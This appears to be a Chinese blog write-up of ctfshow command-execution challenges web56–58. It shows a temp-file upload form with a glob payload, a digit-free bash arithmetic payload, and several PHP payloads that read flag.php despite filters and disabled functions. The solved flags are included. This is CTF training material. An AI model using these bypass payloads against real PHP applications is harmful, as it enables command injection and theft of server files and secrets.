ctfshow-web入门-命令执行(web56、web57、web58)

发布于:2024-07-03 ⋅ 阅读:(130) ⋅ 点赞:(0)

目录

1、web56 

2、web57

3、web58


1、web56 

命令执行,需要严格的过滤

新增过滤数字,只能采用上一题临时文件上传的方法:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="https://f135ee89-cbf7-464b-9e19-a07aec56fd3f.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

payload:?c=.%20/???/????????[@-[] 

2、web57

命令执行,需要严格的过滤,已测试,可绕

先说两个东西,在 Linux 下:

$(())=0
$((~ $(()) ))=-1

这里说了 flag 在 36.php,那么我们只需要构造 36,但是数字被过滤了。

由于前面说的只有 -1,因此我们对 36 进行取反,得到 -37,对 -37 再次取反即可得到 36。

根据 $((~ $(()) ))=-1,我们进行拼接,构造出 -37

$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))

再对其进行取反得到 36

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

构造 payload:

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

拿到 flag:ctfshow{37b0df2c-1256-4779-93e8-715022cb9673}

3、web58

命令执行,突破禁用函数

调用 system 函数,发现函数被禁用

这里使用 show_source 或者 highlight_file,构造 payload:

c=show_source('flag.php');
c=highlight_file('flag.php');

拿到 flag:ctfshow{7d992144-9afa-434e-a610-5af9bc9e1600}

也可以直接将 php 代码传给 eval 函数让其执行,构造 payload:

c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");

还在网上还看到了很多其他奇思妙想的解法,格局一下就打开了

(1)利用 copy 函数

c=copy("flag.php","flag.txt");

执行后直接访问 flag.txt

(2)rename 函数

通过将 flag.php 重命名为 txt 文件,之后直接访问读取,和上面的 copy 差不多

(3)file_get_contents 函数

使用 file_get_contents 进行读取,再配合 echo 输出,payload:

c=echo file_get_contents("flag.php");

(4)readfile 函数

payload:

c=readfile("flag.php");

 

(5) file 函数

payload:

c=print_r(file("flag.php"));     

更多其他情况和方法可以参考羽师傅的博客 


网站公告

今日签到

点亮在社区的每一天
去签到